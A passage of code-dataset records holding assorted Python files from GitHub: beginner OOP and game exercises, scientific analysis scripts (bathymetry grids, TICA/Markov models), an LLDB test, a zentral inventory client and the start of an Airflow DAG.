print(best_student.grades)\n# print(cool_student.grades)\nprint(first_lecturer.grades)\nprint(second_lecturer.grades)\n\n\n# print(first_reviewer)\n# print(first_lecturer)\n# print(best_student)\n# print(cool_student)\n\n\ndef get_average_students_grade_course(students_list: List[Student], course: str):\n    result = []\n    for student in students_list:\n        if course in student.grades:\n            for grade in student.grades[course]:\n                result.append(grade)\n\n    average_course_grade = sum(result) / len(result)\n    return f'Средняя оценка студентов по курсу {course} составляет {average_course_grade}'\n\n\ndef get_average_lecturers_grade_course(lecturers_list: List[Lecturer], course: str):\n    result = []\n    for lecturer in lecturers_list:\n        if course in lecturer.grades:\n            for grade in lecturer.grades[course]:\n                result.append(grade)\n#\n#\n    average_course_grade = sum(result) / len(result)\n    return f'Средняя оценка лекторов по курсу {course} составляет {average_course_grade}'\n\n\nprint(get_average_students_grade_course([best_student, cool_student], 'Git'))\nprint(get_average_lecturers_grade_course([first_lecturer, second_lecturer], 'Git'))\n","repo_name":"Zeilanda/Netology-OOP","sub_path":"students_and_mentors.py","file_name":"students_and_mentors.py","file_ext":"py","file_size_in_byte":8597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22881213030","text":"\r\nclass computer:               # for define a class\r\n    def config(self):         # define a method which actually func\r\n        print(\"16gb RAM,550gb SSD,i9 core Processor\")\r\n\r\n\r\ncomp1 = computer()             # make object with the help of class\r\ncomp2 = computer()\r\n\r\n# computer.config(comp1)            # calling config and passing comp1\r\n# computer.config(comp2)\r\n\r\ncomp1.config()             # method config use comp1 as parameter as self object\r\ncomp2.config()\r\n\r\n\r\n","repo_name":"HudaitRITAM/python_Basic","sub_path":"class_object_1.py","file_name":"class_object_1.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"32654227821","text":"games = [\"Monopoly\",\"Trivial Pursuit\",\"Chess\",\"Poker\"]\nprint(\"I like the games: \" + str(games))\n\nwantsToAdd = True\nwhile (wantsToAdd):\n    new_game = input(\"Do you want to add a new game? \")\n    if (new_game.contains(\"es\")):\n        games.append(new_game)\n    else:\n        wantsToAdd = False\n\n\"\"\"\nnew_game = input(\"What game do you like to play? \")\ngames.append(new_game)\nprint(\"Games we like: \" + str(games))\n\"\"\"","repo_name":"ChDonnelly/ATCS-2021","sub_path":"project0/manyGames.py","file_name":"manyGames.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70835675575","text":"# Chap 8.1 - Modules\n# Modules in Python\n# 3. Namespaces\n\n# Nice, this explains about aliasing (similar to Bash i guess). In Python aliasing is \"as\"\n# import module_name as name_you_pick_for_the_module\n\n# Tasks\n# 1. Below import codecademylib3_seaborn, import pyplot from the module matplotlib with alias plt\n# 2. Import random below the other import statements. It's best to keep all imports at the top of your file.\n# 3. Create a variable numbers_a and set it equal to the range of numbers 1 through 12 (inclusive)\n# 4. Create a variable numbers_b and set it equal to a random sample of twelve numbers within range(1000)\n# 5. Now let's plot these number sets against each other using plt. Call plt.plot() with your two variables\n#    as it's arbuments\n# 6. Now call plt.show() and run your code!\n\nfrom matplotlib import pyplot as plt\nimport random\n\nnumbers_a = range(1, 13)\nnumbers_b = random.sample(range(1000), 12)\nprint(numbers_b)\n\nplt.plot(numbers_a, numbers_b)\nplt.show()\n\n# Cool, first thing outside terminal :D\n\n\n","repo_name":"DiggsAsura/study","sub_path":"archive/codecademy/Python3/8.1_Modules_3-Namepaces.py","file_name":"8.1_Modules_3-Namepaces.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6514723189","text":"#!/usr/bin/env python3\n\nfrom pycascadia.loaders import load_source\nfrom pygmt import grdcut\nimport matplotlib.pyplot as plt\nimport argparse\n\n\ndef clip_to_value(arr, test_arr=None, value=0.0):\n    if test_arr is None:\n        test_arr = arr\n\n    arr[test_arr > value] = value\n\n\ndef main():\n    # Handle arguments\n    parser = argparse.ArgumentParser(\n        description=\"Add piecewise halo surrounding given netcdf file\"\n    )\n    parser.add_argument(\"--input\", required=True, help=\"input file\")\n    parser.add_argument(\"--output\", required=True, help=\"output file\")\n    parser.add_argument(\n        \"--value\", type=float, default=0.0, help=\"value to replace boundary with\"\n    )\n    parser.add_argument(\n        \"--offset\",\n        action=\"store_true\",\n        default=False,\n        help=\"use one index from true boundary as boundary\",\n    )\n    parser.add_argument(\n        \"--plot\",\n        action=\"store_true\",\n        default=False,\n        help=\"plot final grid before saving\",\n    )\n    parser.add_argument(\n        \"--region\",\n        required=False,\n        metavar=(\"xmin\", \"xmax\", \"ymin\", \"ymax\"),\n        nargs=4,\n        type=float,\n        help=\"output region. Defaults to the extent of the input grid.\",\n    )\n    args = parser.parse_args()\n\n    in_fname = args.input\n    input_grid, _, _ = load_source(in_fname, plot=False)\n\n    if args.region:\n        input_grid = grdcut(input_grid, region=args.region)\n\n    if args.offset:\n        clip_to_value(input_grid[0, :], input_grid[1, :], value=args.value)\n        clip_to_value(input_grid[-1, :], input_grid[-2, :], value=args.value)\n        clip_to_value(input_grid[:, 0], input_grid[:, 1], value=args.value)\n        clip_to_value(input_grid[:, -1], input_grid[:, -2], value=args.value)\n    else:\n        clip_to_value(input_grid[0, :], value=args.value)\n        clip_to_value(input_grid[-1, :], value=args.value)\n        clip_to_value(input_grid[:, 0], value=args.value)\n        clip_to_value(input_grid[:, -1], value=args.value)\n\n    if args.plot:\n        # Plot bath & contour on top\n        input_grid.plot()\n        plt.contour(\n            input_grid.x,\n            input_grid.y,\n            input_grid.values,\n            levels=[args.value],\n            colors=[\"green\"],\n        )\n\n        # Increase view of region to display closed contours\n        BORDER_SCALE = 0.1\n        x_diff = input_grid.x[-1] - input_grid.x[0]\n        y_diff = input_grid.y[-1] - input_grid.y[0]\n        plt.xlim(\n            input_grid.x[0] - BORDER_SCALE * x_diff,\n            input_grid.x[-1] + BORDER_SCALE * x_diff,\n        )\n        plt.ylim(\n            input_grid.y[0] - BORDER_SCALE * y_diff,\n            input_grid.y[-1] + BORDER_SCALE * y_diff,\n        )\n\n        plt.show()\n\n    input_grid.to_netcdf(args.output)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"UCL/pyCascadia","sub_path":"scripts/close_boundary.py","file_name":"close_boundary.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"7863862930","text":"\"\"\"A program that plays the game of Rock, Paper, Scissors.\n\nUsage: rps.py\n\nAttributes:\n    MOVES: A list of strs representing possible moves (default: \"rock\",\n        \"paper\", and \"scissors\")\n\nClasses:\n    Player()\n    RandomPlayer()\n    HumanPlayer()\n    ReflectPlayer()\n    CyclePlayer()\n    Game()\n\"\"\"\n\nimport random\n\nMOVES = [\"rock\", \"paper\", \"scissors\"]\n\n\nclass Player:\n    \"\"\"Creates a player that always plays 'rock'.\"\"\"\n\n    @staticmethod\n    def move():\n        \"\"\"Returns the move 'rock'.\n\n        Returns:\n            rock: A str representing the move rock\n        \"\"\"\n        return \"rock\"\n\n    def learn(self, my_move, their_move):\n        \"\"\"Placeholder for child classes.\n\n        Args:\n            my_move: A str representing the calling player's move\n            their_move: A str representing the calling player's opponent's move\n        \"\"\"\n\n\nclass RandomPlayer(Player):\n    \"\"\"Creates a player that plays a random move from the MOVES array.\"\"\"\n\n    def move(self):\n        \"\"\"Returns a random move from the MOVES array.\n\n        Returns:\n            A str representing a move from the MOVES array\n        \"\"\"\n        return random.choice(MOVES)\n\n\nclass HumanPlayer(Player):\n    \"\"\"Creates a player that is human controllable.\"\"\"\n\n    def move(self):\n        \"\"\"Returns a move of the human player's choosing.\n\n        Returns:\n            move: A str representing a move from the MOVES array chosen by the\n                human player\n        \"\"\"\n        while True:\n            move = input(\"Rock, paper, scissors? > \").lower()\n            if move in MOVES:\n                return move\n\n\nclass ReflectPlayer(Player):\n    \"\"\"Creates a player that plays based on the opponent's previous move.\n\n    Attributes:\n        next_move: A str representing the player's next move\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Reflect Player set-up.\"\"\"\n        self.next_move = random.choice(MOVES)\n\n    def move(self):\n        \"\"\"Returns the player's next move.\n\n        Returns:\n            self.next_move: A str presenting the players next move\n        \"\"\"\n        return self.next_move\n\n    def learn(self, my_move, their_move):\n        \"\"\"Sets the player's next move to their opponent's previous move.\n\n        Args:\n            my_move: A str representing the calling player's move\n            their_move: A str representing the calling player's opponent's move\n        \"\"\"\n        self.next_move = their_move\n\n\nclass CyclePlayer(Player):\n    \"\"\"Creates a player that plays 'rock', 'paper', 'scissors', in that order.\n\n    Attributes:\n        next_move: A str representing the player's next move\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Cycle Player set-up.\"\"\"\n        self.next_move = \"rock\"\n\n    def move(self):\n        \"\"\"Returns the player's next move.\n\n        Returns:\n            self.next_move: A str presenting the players next move\n        \"\"\"\n        return self.next_move\n\n    def learn(self, my_move, their_move):\n        \"\"\"Sets the player's next move to the next move in the MOVES array.\n\n        Args:\n            my_move: A str representing the calling player's move\n            their_move: A str representing the calling player's opponent's move\n        \"\"\"\n        my_move_index = MOVES.index(my_move)\n        next_move_index = (my_move_index + 1) % 3\n        self.next_move = MOVES[next_move_index]\n\n\ndef beats(one, two):\n    \"\"\"Returns a bool representing if the first arg is the winner.\n\n    Args:\n        one: A str representing a player's move\n        two: A str representing a player's move\n\n    Returns:\n        A bool that is True if one is the winner\n    \"\"\"\n    return (\n        (one == \"rock\" and two == \"scissors\")\n        or (one == \"scissors\" and two == \"paper\")\n        or (one == \"paper\" and two == \"rock\")\n    )\n\n\nclass Game:\n    \"\"\"Creates a game or rock, paper, scissors played between two players.\n\n    Attributes:\n        player1: A Player class representing player 1\n        player2: A Player class representing player 2\n        score1: An int representing player 1's score\n        score2: An int representing player 2's score\n    \"\"\"\n\n    def __init__(self, player1, player2):\n        \"\"\"Game set-up.\"\"\"\n        self.player1 = player1\n        self.player2 = player2\n        self.score1 = 0\n        self.score2 = 0\n\n    def play_round(self):\n        \"\"\"Plays a round of rock, paper Scissors.\n\n        Collects the moves of both players, determines a winner, and then\n        displays and updates the score\n        \"\"\"\n        move1 = self.player1.move()\n        move2 = self.player2.move()\n        print(f\"Player 1: {move1}  Player 2: {move2}\")\n\n        if beats(move1, move2):\n            self.score1 += 1\n            print(\"** PLAYER ONE WINS **\")\n        elif beats(move2, move1):\n            self.score2 += 1\n            print(\"** PLAYER TWO WINS **\")\n        else:\n            print(\"** TIE **\")\n\n        print(f\"Score: Player One {self.score1}, Player Two {self.score2}\\n\")\n        self.player1.learn(move1, move2)\n        self.player2.learn(move2, move1)\n\n    def play_game(self):\n        \"\"\"Plays a 3-round game of rock, paper, scissors.\n\n        Plays three rounds of rock, paper scissors, and in the event of a tie\n        score, continues to play extra rounds until there is a winner, and then\n        displays the final score\n        \"\"\"\n        print(\"\\nGame start!\\n\")\n\n        for rnd in range(3):\n            print(f\"Round {rnd} of 3:\")\n            self.play_round()\n\n        while self.score1 == self.score2:\n            print(\"Game cannot end in a tie, entering sudden death overtime\")\n            self.play_round()\n\n        print(\n            f\"Final Score: Player One {self.score1}, Player Two \"\n            f\"{self.score2}\\n\"\n        )\n\n        if self.score1 > self.score2:\n            print(\"** PLAYER ONE IS THE CHAMPION **\")\n        elif self.score2 > self.score1:\n            print(\"** PLAYER TWO IS THE CHAMPION **\")\n\n        print(\"Game over!\\n\")\n\n\nif __name__ == \"__main__\":\n    COMPUTER_PLAYER = random.choice(\n        [Player(), RandomPlayer(), CyclePlayer(), ReflectPlayer()]\n    )\n    GAME = Game(HumanPlayer(), COMPUTER_PLAYER)\n    GAME.play_game()\n","repo_name":"danrneal/rock-paper-scissors","sub_path":"rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8660761976","text":"import multiprocessing as mp\r\nimport networkx as nx\r\n\r\n\r\ndef worker(process_id, n_processes, G, d):\r\n    \"\"\"thread worker function\"\"\"\r\n    n_nodes = len(G.nodes)\r\n    local_dict = dict()\r\n    for ii in range(int(n_nodes / n_processes * process_id), int(n_nodes / n_processes * (process_id + 1))):\r\n        length = nx.single_source_shortest_path_length(G, ii)\r\n        local_dict[ii] = length\r\n    d[process_id] = local_dict\r\n\r\n\r\ndef optimized_shortest_path_length_all_pair(g, undirected=True):\r\n\r\n    if g.is_directed() and undirected:\r\n        g = g.to_undirected()\r\n\r\n    if len(g.nodes) < 5000:\r\n        return dict(nx.all_pairs_shortest_path_length(g))\r\n\r\n    # create concurrency for the function all_pairs_shortest_path_length\r\n    manager = mp.Manager()\r\n    d = manager.dict()\r\n    process = []\r\n    n_processes = mp.cpu_count()\r\n\r\n    # create different processes\r\n    for i in range(n_processes):\r\n        p = mp.Process(target=worker, args=(i, n_processes, g, d,))\r\n        process.append(p)\r\n        p.start()\r\n\r\n    # rejoin processes\r\n    for p in process:\r\n        p.join()\r\n\r\n    return_dict = dict()\r\n    for ii in d.values():\r\n        for node, length_dict in ii.items():\r\n            return_dict[node] = length_dict\r\n    return return_dict\r\n\r\n","repo_name":"lukebieri/bitcoinTopologySimulation","sub_path":"src/shortestPath.py","file_name":"shortestPath.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"39835513781","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def getLonelyNodes(self, root: TreeNode) -> List[int]:\n        if not root:\n            return []\n        \n        ans = []\n        \n        q = deque([(root, None)])\n        \n        while q:\n            node, parent = q.popleft()\n            \n            if node.left: q.append((node.left, node))\n            if node.right: q.append((node.right, node))\n            \n            if not parent or (parent.left and parent.right):\n                continue\n            \n            ans.append(node.val)\n        \n        return ans","repo_name":"virtyaluk/leetcode","sub_path":"problems/1469/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"73930511417","text":"\"\"\"\nTest some lldb help commands.\n\nSee also CommandInterpreter::OutputFormattedHelpText().\n\"\"\"\n\nimport os, time\nimport unittest2\nimport lldb\nfrom lldbtest import *\n\nclass HelpCommandTestCase(TestBase):\n\n    mydir = \"help\"\n\n    def test_simplehelp(self):\n        \"\"\"A simple test of 'help' command and its output.\"\"\"\n        self.expect(\"help\",\n            startstr = 'The following is a list of built-in, permanent debugger commands')\n\n    def version_number_string(self):\n        \"\"\"Helper function to find the version number string of lldb.\"\"\"\n        plist = os.path.join(os.getcwd(), os.pardir, os.pardir, \"resources\", \"LLDB-info.plist\")\n        try:\n            CFBundleVersionSegFound = False\n            with open(plist, 'r') as f:\n                for line in f:\n                    if CFBundleVersionSegFound:\n                        version_line = line.strip()\n                        import re\n                        m = re.match(\"<string>(.*)</string>\", version_line)\n                        if m:\n                            version = m.group(1)\n                            return version\n                        else:\n                            # Unsuccessful, let's juts break out of the for loop.\n                            break\n\n                    if line.find(\"<key>CFBundleVersion</key>\") != -1:\n                        # Found our match.  The next line contains our version\n                        # string, for example:\n                        # \n                        #     <string>38</string>\n                        CFBundleVersionSegFound = True\n\n        except:\n            # Just fallthrough...\n            import traceback\n            traceback.print_exc()\n            pass\n\n        # Use None to signify that we are not able to grok the version number.\n        return None\n\n\n    def test_help_version(self):\n        \"\"\"Test 'help version' and 'version' commands.\"\"\"\n        self.expect(\"help version\",\n            substrs = ['Show version of LLDB debugger.'])\n        version_str = self.version_number_string()\n        self.expect(\"version\",\n            patterns = ['LLDB-' + (version_str if version_str else '[0-9]+')])\n\n    def test_help_should_not_hang_emacsshell(self):\n        \"\"\"Command 'settings set term-width 0' should not hang the help command.\"\"\"\n        self.runCmd(\"settings set term-width 0\")\n        self.expect(\"help\",\n            startstr = 'The following is a list of built-in, permanent debugger commands')\n\n    def test_help_image_dump_symtab_should_not_crash(self):\n        \"\"\"Command 'help image dump symtab' should not crash lldb.\"\"\"\n        self.expect(\"help image dump symtab\",\n            substrs = ['image dump symtab',\n                       'sort-order'])\n\n    def test_help_image_du_sym_is_ambiguous(self):\n        \"\"\"Command 'help image du sym' is ambiguous and spits out the list of candidates.\"\"\"\n        self.expect(\"help image du sym\",\n                    COMMAND_FAILED_AS_EXPECTED, error=True,\n            substrs = ['error: ambiguous command image du sym',\n                       'symfile',\n                       'symtab'])\n\n    def test_help_image_du_line_should_work(self):\n        \"\"\"Command 'help image du line' is not ambiguous and should work.\"\"\"\n        self.expect(\"help image du line\",\n            substrs = ['Dump the debug symbol file for one or more executable images'])\n\n\nif __name__ == '__main__':\n    import atexit\n    lldb.SBDebugger.Initialize()\n    atexit.register(lambda: lldb.SBDebugger.Terminate())\n    unittest2.main()\n","repo_name":"eightcien/lldb","sub_path":"test/help/TestHelp.py","file_name":"TestHelp.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"37311699291","text":"import logging\nfrom tqdm.auto import tqdm\nfrom typing import Tuple, List, Any\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nimport pyemma\nfrom deeptime.clustering import KMeans\nfrom deeptime.decomposition import TICA\nfrom deeptime.markov import TransitionCountEstimator, MaximumLikelihoodMSM\nfrom deeptime.plots import plot_implied_timescales\nfrom deeptime.util.validation import implied_timescales\nfrom pyemma.util.contexts import settings\nfrom sklearn.decomposition import PCA\nimport argparse\nimport yaml\n\ndef load_data(pdb_file: str, xtc_files: List[str], selection: str) -> Any:\n    \"\"\"\n    Load trajectory data for a given protein structure and feature selection.\n\n    Parameters\n    ----------\n    pdb_file : str\n        Path to the pdb file.\n    xtc_files : List[str]\n        List of paths to the xtc files.\n    selection : str\n        Selection string for the protein residues/features to be considered.\n\n    Returns\n    -------\n    Any\n        Loaded trajectory data.\n    \"\"\"\n    feat = pyemma.coordinates.featurizer(pdb_file)\n    selection = feat.select(selection)\n    feat.add_distances(selection, periodic=False)\n    data = pyemma.coordinates.load(xtc_files, features=feat)\n    return data\n\ndef perform_pca(data: Any, n_components: int = 2) -> Tuple[PCA, List[np.ndarray]]:\n    \"\"\"\n    Perform Principal Component Analysis (PCA) on the trajectory data.\n\n    Parameters\n    ----------\n    data : Any\n        Trajectory data.\n    n_components : int, optional\n        Number of principal components to be computed, by default 2.\n\n    Returns\n    -------\n    Tuple[PCA, List[np.ndarray]]\n        Fitted PCA model and transformed trajectory data.\n    \"\"\"\n    pca = PCA(n_components=n_components)\n    pca_output = [pca.fit_transform(traj) for traj in data]\n    return pca, pca_output\n\ndef perform_tica(data: Any, lag: int, n_components: int = 2) -> Tuple[TICA, List[np.ndarray]]:\n    \"\"\"\n    Perform Time-lagged Independent Component Analysis (TICA) on the trajectory data.\n\n    Parameters\n    ----------\n    data : Any\n        Trajectory data.\n    lag : int\n        Time lag to be used for the TICA computation.\n    n_components : int, optional\n        Number of independent components to be computed, by default 2.\n\n    Returns\n    -------\n    Tuple[TICA, List[np.ndarray]]\n        Fitted TICA model and transformed trajectory data.\n    \"\"\"\n    tica_estimator = TICA(lagtime=lag, dim=n_components)\n    tica = tica_estimator.fit_fetch(data)\n    tica_output = [tica.transform(traj) for traj in data]\n    return tica, tica_output\n\ndef cluster_data(data: List[np.ndarray], n_clusters: int, max_iter: int = 100, n_jobs: int = 2) -> Tuple[KMeans, List[int]]:\n    \"\"\"\n    Cluster the trajectory data using K-means algorithm.\n\n    Parameters\n    ----------\n    data : List[np.ndarray]\n        Trajectory data.\n    n_clusters : int\n        Number of clusters to be formed.\n    max_iter : int, optional\n        Maximum number of iterations for the K-means algorithm, by default 100.\n    n_jobs : int, optional\n        Number of jobs to be used for the computation, by default 2.\n\n    Returns\n    -------\n    Tuple[KMeans, List[int]]\n        Fitted KMeans model and list of cluster indices for each data point.\n    \"\"\"\n    cls = KMeans(n_clusters, max_iter=max_iter, n_jobs=n_jobs).fit(np.concatenate(data)[::10]).fetch_model()\n    dtrajs = [cls.transform(traj) for traj in data]\n    return cls, dtrajs\n\ndef compute_implied_timescales(dtrajs: List[int], lags: List[int]) -> np.ndarray:\n    \"\"\"\n    Compute the implied timescales for a given list of lag times.\n\n    Parameters\n    ----------\n    dtrajs : List[int]\n        List of cluster indices for each data point.\n    lags : List[int]\n        List of lag times to be used for the computation.\n\n    Returns\n    -------\n    np.ndarray\n        Computed implied timescales.\n    \"\"\"\n    return implied_timescales([MaximumLikelihoodMSM(lagtime=lag).fit_fetch(dtrajs) for lag in lags])\n\ndef save_to_pickle(data: Any, filename: str) -> None:\n    \"\"\"\n    Save data to a pickle file.\n\n    Parameters\n    ----------\n    data : Any\n        Data to be saved.\n    filename : str\n        Path to the pickle file.\n    \"\"\"\n    with open(filename, 'wb') as f:\n        pickle.dump(data, f)\n\ndef load_from_pickle(filename: str) -> Any:\n    \"\"\"\n    Load data from a pickle file.\n\n    Parameters\n    ----------\n    filename : str\n        Path to the pickle file.\n\n    Returns\n    -------\n    Any\n        Loaded data.\n    \"\"\"\n    with open(filename, 'rb') as f:\n        return pickle.load(f)\n\ndef save_tics_to_txt(tica_output: List[np.ndarray], sysName: str) -> None:\n    \"\"\"\n    Save the first two TICA components to text files.\n\n    Parameters\n    ----------\n    tica_output : List[np.ndarray]\n        Transformed trajectory data after TICA.\n    sysName : str\n        System name to be used for the output file names.\n    \"\"\"\n    # check if the tics folder exists \n    # ODO\n    np.savetxt(f'./tics/{sysName}_tica_tic1.txt',np.concatenate(tica_output)[:, 0], delimiter='\\n', fmt='%.10f')\n    np.savetxt(f'./tics/{sysName}_tica_tic2.txt',np.concatenate(tica_output)[:, 1], delimiter='\\n', fmt='%.10f')\n\ndef parse_args() -> argparse.Namespace:\n    \"\"\"\n    Parse command-line arguments.\n\n    Returns\n    -------\n    argparse.Namespace\n        Parsed command-line arguments.\n    \"\"\"\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"config\", help=\"Path to the configuration file\")\n    return parser.parse_args()\n\ndef load_config(config_path: str) -> dict:\n    \"\"\"\n    Load configuration from a yaml file.\n\n    Parameters\n    ----------\n    config_path : str\n        Path to the yaml configuration file.\n\n    Returns\n    -------\n    dict\n        Loaded configuration.\n    \"\"\"\n    with open(config_path, 'r') as f:\n        return yaml.safe_load(f)\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    config = load_config(args.config)\n\n    pdb_file = config['pdb_file']\n    xtc_files = config['xtc_files']\n    sysName = config['sysName']\n    lag = config['lag']\n    n_components = config['n_components']\n    n_clusters = config['n_clusters']\n    lags = config['lags']\n    selection = config['selection']\n\n    logging.info(\"Loading data...\")\n    data = load_data(pdb_file, xtc_files, selection)\n    save_to_pickle(data, f'{sysName}.pickle')\n\n    logging.info(\"Performing PCA...\")\n    pca, pca_output = perform_pca(data, n_components)\n    logging.info(\"Performing TICA...\")\n    tica, tica_output = perform_tica(data, lag, n_components)\n\n    logging.info(\"Clustering data...\")\n    cls_pca, dtrajs_pca = cluster_data(pca_output, n_clusters)\n    cls_tica, dtrajs_tica = cluster_data(tica_output, n_clusters)\n\n    logging.info(\"Computing implied timescales...\")\n    its_pca = compute_implied_timescales(dtrajs_pca, lags)\n    its_tica = compute_implied_timescales(dtrajs_tica, lags)\n\n    save_to_pickle(tica_output, f'{sysName}_tica_output.pickle')\n    save_to_pickle(pca_output, f'{sysName}_pca_output.pickle')\n\n    save_tics_to_txt(tica_output, sysName)\n","repo_name":"engelberger/md-analysis-utils","sub_path":"tica/run_tica.py","file_name":"run_tica.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5931907790","text":"import pandas as pd\n\nfrom pes_match.parameters import CHECKPOINT_PATH, OUTPUT_PATH, OUTPUT_VARIABLES\n\n# Stage 2 File names\nmatchkey_unique = \"Stage_2_Matchkey_Unique_Matches\"\nmatchkey_nonunique = \"Stage_2_Matchkey_Conflict_Matches\"\nassociative = \"Stage_2_Associative_Unique_Matches\"\n\n# Read in and combine\ndf1 = pd.read_csv(\n    CHECKPOINT_PATH + matchkey_unique + \".csv\", iterator=False, index_col=False\n)[OUTPUT_VARIABLES]\ndf2 = pd.read_csv(\n    CHECKPOINT_PATH + matchkey_nonunique + \".csv\", iterator=False, index_col=False\n)[OUTPUT_VARIABLES]\ndf3 = pd.read_csv(\n    CHECKPOINT_PATH + associative + \".csv\", iterator=False, index_col=False\n)[OUTPUT_VARIABLES]\nStage_2_matches = pd.concat([df1, df2, df3]).reset_index(drop=True)\n\n# Combine with Stage 1 matches\nStage_1_matches = pd.read_csv(\n    OUTPUT_PATH + \"Stage_1_All_Matches.csv\", iterator=False, index_col=False\n)[OUTPUT_VARIABLES]\nall_matches = pd.concat([Stage_1_matches, Stage_2_matches])\n\n# Save to output folder\nall_matches.to_csv(OUTPUT_PATH + \"Stage_2_All_Matches.csv\", header=True, index=False)\n","repo_name":"Data-Linkage/pes_match","sub_path":"pipeline/2_Stage_2/03_stage_2_combine.py","file_name":"03_stage_2_combine.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"5166737288","text":"import copy\nimport logging\nfrom django.db import transaction\nfrom zentral.contrib.inventory.models import MachineSnapshot\n\n__all__ = ['BaseInventory', 'InventoryError']\n\nlogger = logging.getLogger('zentral.contrib.inventory.clients.base')\n\n\nclass InventoryError(Exception):\n    pass\n\n\nclass BaseInventory(object):\n    source_config_secret_attributes = None\n\n    def __init__(self, config_d):\n        if not hasattr(self, 'name'):\n            self.name = self.__module__.split('.')[-1]\n        config_d = copy.deepcopy(config_d)\n        config_d.pop('backend')\n        if self.source_config_secret_attributes:\n            for attr in self.source_config_secret_attributes:\n                config_d.pop(attr, None)\n        self.source = {'module': self.__module__,\n                       'name': self.name,\n                       'config': config_d}\n\n    def get_machines(self):\n        raise NotImplementedError\n\n    # inventory API\n    def _events_from_diff(self, diff):\n        events = []\n        for m2m_attr, event_type in (('links', 'inventory_link_update'),\n                                     ('osx_app_instances', 'inventory_osx_app_instance_update'),\n                                     ('groups', 'inventory_group_update')):\n            m2m_diff = diff.get(m2m_attr, {})\n            for action in ['added', 'removed']:\n                for obj in m2m_diff.get(action, []):\n                    obj['action'] = action\n                    if 'source' not in obj:\n                        obj['source'] = self.source\n                    events.append((event_type, obj))\n        for fk_attr in ('reference',\n                        'machine',\n                        'business_unit',\n                        'os_version',\n                        'system_info',\n                        'teamviewer'):\n            event_type = 'inventory_{}_update'.format(fk_attr)\n            fk_diff = diff.get(fk_attr, {})\n            for action in ['added', 'removed']:\n                obj = fk_diff.get(action, None)\n                if obj:\n                    if isinstance(obj, dict):\n                        event = obj\n                        if 'source' not in obj:\n                            event['source'] = self.source\n                    else:\n                        event = {'source': self.source,\n                                 fk_attr: obj}\n                    event['action'] = action\n                    events.append((event_type, event))\n        return events\n\n    def sync(self):\n        for machine_d in self.get_machines():\n            source = copy.deepcopy(self.source)\n            try:\n                serial_number = machine_d['machine']['serial_number']\n            except KeyError:\n                logger.warning('Machine w/o serial number. Client \"%s\". Reference \"%s\"',\n                               self.name, machine_d.get('reference', 'Unknown'))\n                continue\n            if not serial_number:\n                logger.warning('Machine serial number blank. Client \"%s\". Reference \"%s\"',\n                               self.name, machine_d.get('reference', 'Unknown'))\n                continue\n            # source will be modified by mto\n            machine_d['source'] = source\n            for group_d in machine_d.get('groups', []):\n                group_d['source'] = source\n            business_unit_d = machine_d.get('business_unit', None)\n            if business_unit_d:\n                business_unit_d['source'] = source\n            with transaction.atomic():\n                machine_snapshot, created = MachineSnapshot.objects.commit(machine_d)\n            if created:\n                diff = machine_snapshot.update_diff()\n                if diff is None:\n                    events = [('inventory_machine_added',\n                               {'source': self.source,\n                                'machine_snapshot': machine_snapshot.serialize()})]\n                else:\n                    events = self._events_from_diff(diff)\n                yield machine_snapshot, events\n\n    def add_machine_to_group(self, machine_snapshot, group_name):\n        raise NotImplementedError\n","repo_name":"Mbatey88/zentral","sub_path":"zentral/contrib/inventory/clients/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"23725203225","text":"import os\nimport re\nimport logging\nfrom datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.decorators import task\nfrom airflow.operators.empty import EmptyOperator\nfrom airflow.providers.oracle.hooks.oracle import OracleHook\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\n\nimport pandas as pd\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n#import snowflake.connector\n\nfrom helpers import export_partition_to_parquet, export_non_partitioned_table_to_parquet, get_high_value\n\n# Global variables\ntables_non_partitioned = ['CLIENT', 'ACCOUNT', 'CARD', 'COUNTRY', 'CURRENCY']\ntables_partitioned_by_day = ['TRANSACTION']\ntables_partitioned_by_month = []\n\npostgres_conn_id = 'postgres_metadata'\noracle_conn_id = \"oracle_neobank\"\nschema_name = 'NEOBANK'\n\n@task\ndef flush_database_monitoring_info():\n    hook = OracleHook(oracle_conn_id=oracle_conn_id)\n    conn = hook.get_conn()\n\n    # Iterate through the list of tables to gather statistics\n    flush_database_monitoring_info_query = \"\"\"\n    BEGIN\n        